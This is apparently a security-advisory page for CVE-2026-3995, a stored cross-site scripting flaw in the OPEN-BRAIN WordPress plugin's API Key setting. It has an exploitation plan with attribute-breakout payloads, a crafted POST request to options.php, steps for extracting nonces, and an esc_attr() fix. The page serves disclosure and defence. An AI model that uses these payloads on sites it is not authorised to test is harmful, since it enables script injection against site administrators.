CVE-2026-3995

OPEN-BRAIN <= 0.5.0 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'API Key' Setting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
4.4
CVSS Score
4.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The OPEN-BRAIN plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'API Key' settings field in all versions up to, and including, 0.5.0. This is due to insufficient input sanitization and output escaping. The plugin uses sanitize_text_field() which strips HTML tags but does not encode double quotes or other HTML-special characters needed for safe attribute context output. The API key value is saved via update_option() and later output into an HTML input element's value attribute without esc_attr() escaping. This makes it possible for authenticated attackers, with Administrator-level access, to inject arbitrary web scripts via attribute breakout payloads (e.g., double quotes followed by event handlers) that execute whenever a user accesses the plugin settings page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
High
Privileges Required
High
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=0.5.0
PublishedApril 15, 2026
Last updatedApril 16, 2026
Affected pluginopen-brain
Research Plan
Unverified

This research plan outlines the technical steps to exploit CVE-2026-3995, a Stored Cross-Site Scripting (XSS) vulnerability in the OPEN-BRAIN plugin. ## 1. Vulnerability Summary The **OPEN-BRAIN** plugin (versions <= 0.5.0) contains a stored XSS vulnerability in its "API Key" settings field. The fl…

Show full research plan

This research plan outlines the technical steps to exploit CVE-2026-3995, a Stored Cross-Site Scripting (XSS) vulnerability in the OPEN-BRAIN plugin.

1. Vulnerability Summary

The OPEN-BRAIN plugin (versions <= 0.5.0) contains a stored XSS vulnerability in its "API Key" settings field. The flaw exists because the plugin uses sanitize_text_field() when saving the setting—which removes HTML tags but does not encode double quotes—and fails to use esc_attr() when outputting the value within an HTML attribute. This allows an authenticated administrator to break out of the value attribute of an input element and inject event handlers (e.g., onfocus, onmouseover).

2. Attack Vector Analysis

  • Vulnerable Endpoint: wp-admin/options.php (Standard WordPress Settings API handler) or a custom admin page handler.
  • Vulnerable Parameter: The option name corresponding to the API Key, likely open_brain_api_key or ob_api_key (inferred).
  • Authentication Level: Administrator (or any user with manage_options capability).
  • Preconditions: The plugin must be active and the attacker must have access to the plugin's settings page.

3. Code Flow (Inferred)

  1. Registration: The plugin registers a setting during admin_init using register_setting().
    • Sink (Input): register_setting('open_brain_settings', 'open_brain_api_key', 'sanitize_text_field');
  2. Storage: When the admin submits the settings form, WordPress calls sanitize_text_field($_POST['open_brain_api_key']). This removes <script>, but leaves " intact. The value is stored via update_option().
  3. Output: The settings page renders the stored value.
    • Source: get_option('open_brain_api_key')
    • Sink (Output): echo '<input type="text" name="open_brain_api_key" value="' . $api_key . '">';
  4. Vulnerability: Since $api_key is not passed through esc_attr(), a value like test" onfocus="alert(1)" autofocus=" results in:
    <input ... value="test" onfocus="alert(1)" autofocus="">

4. Nonce Acquisition Strategy

Since this is an Administrator-level exploit, we must navigate the admin interface to capture the necessary Settings API nonces.

  1. Identify Settings Page: Locate the menu item. Based on the slug open-brain, it is likely under admin.php?page=open-brain or options-general.php?page=open-brain.
  2. Navigation: Use browser_navigate to reach the settings page.
  3. Extraction: The Settings API generates a nonce for the specific settings group.
    • Tool: browser_eval
    • Script: document.querySelector('input[name="_wpnonce"]')?.value
    • Also extract the option_page value: document.querySelector('input[name="option_page"]')?.value

5. Exploitation Strategy

Step 1: Discover Option Name and Group

Navigate to the plugin settings page and inspect the form fields to find the exact name attribute of the API Key input and the option_page hidden field.

Step 2: Formulate Payload

Because sanitize_text_field() is used, we cannot use < or >. We must use attribute breakout.

  • Payload: " onfocus="alert(document.domain)" autofocus="
  • Mechanism: The first " closes the value attribute. onfocus defines the execution. autofocus ensures the event fires immediately upon page load without user interaction.

Step 3: Execute Update Request

Use the http_request tool to submit the update.

  • Method: POST
  • URL: http://[target]/wp-admin/options.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    option_page=[EXTRACTED_OPTION_PAGE]&
    action=update&
    _wpnonce=[EXTRACTED_NONCE]&
    [API_KEY_FIELD_NAME]=%22%20onfocus%3D%22alert%28document.domain%29%22%20autofocus%3D%22
    

Step 4: Verification of Trigger

Navigate back to the settings page. The alert should trigger automatically due to the autofocus attribute.

6. Test Data Setup

  1. Install and activate the open-brain plugin (v0.5.0).
  2. Create an Administrator user if one does not exist.
  3. No specific shortcodes are required as this is an admin-side vulnerability.

7. Expected Results

  • The options.php request should return a 302 Redirect back to the settings page with settings-updated=true.
  • The HTML source of the settings page should contain the unescaped payload:
    value="" onfocus="alert(document.domain)" autofocus=""
  • In a real browser, the alert box would appear showing the domain.

8. Verification Steps (Post-Exploit)

Use wp-cli to verify the state of the database:

# Check the stored option value
wp option get open_brain_api_key --allow-root

# Verify the value contains the double quotes and event handler
wp option get open_brain_api_key --allow-root | grep "onfocus="

9. Alternative Approaches

If autofocus is filtered or the browser prevents auto-focusing, use a different event handler:

  • Payload: " onmouseover="console.log(1)
  • Trigger: Move the mouse over the API Key input field.
  • Payload (Style injection): " style="width:1000px;height:1000px;position:fixed;top:0;left:0;" onmouseover="alert(1) (This makes the element cover the screen to force a mouseover).
Research Findings
Static analysis — not yet PoC-verified

Summary

The OPEN-BRAIN plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'API Key' setting due to insufficient output escaping. Authenticated administrators can inject arbitrary web scripts by breaking out of the value attribute of the API key input field using double quotes and event handlers like onfocus.

Vulnerable Code

// Logic for registering and sanitizing the setting
// Usually located in an admin_init hook
register_setting('open_brain_settings', 'open_brain_api_key', 'sanitize_text_field');

---

// Logic for rendering the setting field
// Likely located in a settings page callback
$api_key = get_option('open_brain_api_key');
echo '<input type="text" name="open_brain_api_key" value="' . $api_key . '">';

Security Fix

--- a/open-brain-settings.php
+++ b/open-brain-settings.php
@@ -10,1 +10,1 @@
-echo '<input type="text" name="open_brain_api_key" value="' . $api_key . '">';
+echo '<input type="text" name="open_brain_api_key" value="' . esc_attr($api_key) . '">';

Exploit Outline

The exploit targets the plugin's settings page via the WordPress Options API. An authenticated Administrator first navigates to the OPEN-BRAIN settings page to extract the required '_wpnonce' and 'option_page' values from the HTML form. The attacker then submits a POST request to '/wp-admin/options.php' with the API key field set to a payload such as: '" onfocus="alert(document.domain)" autofocus="'. Because the plugin uses sanitize_text_field() (which allows quotes) and fails to use esc_attr() on output, the injected double quote closes the HTML value attribute, allowing the 'onfocus' and 'autofocus' attributes to be parsed by the browser. The script executes immediately when any user with access to the settings page loads it.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.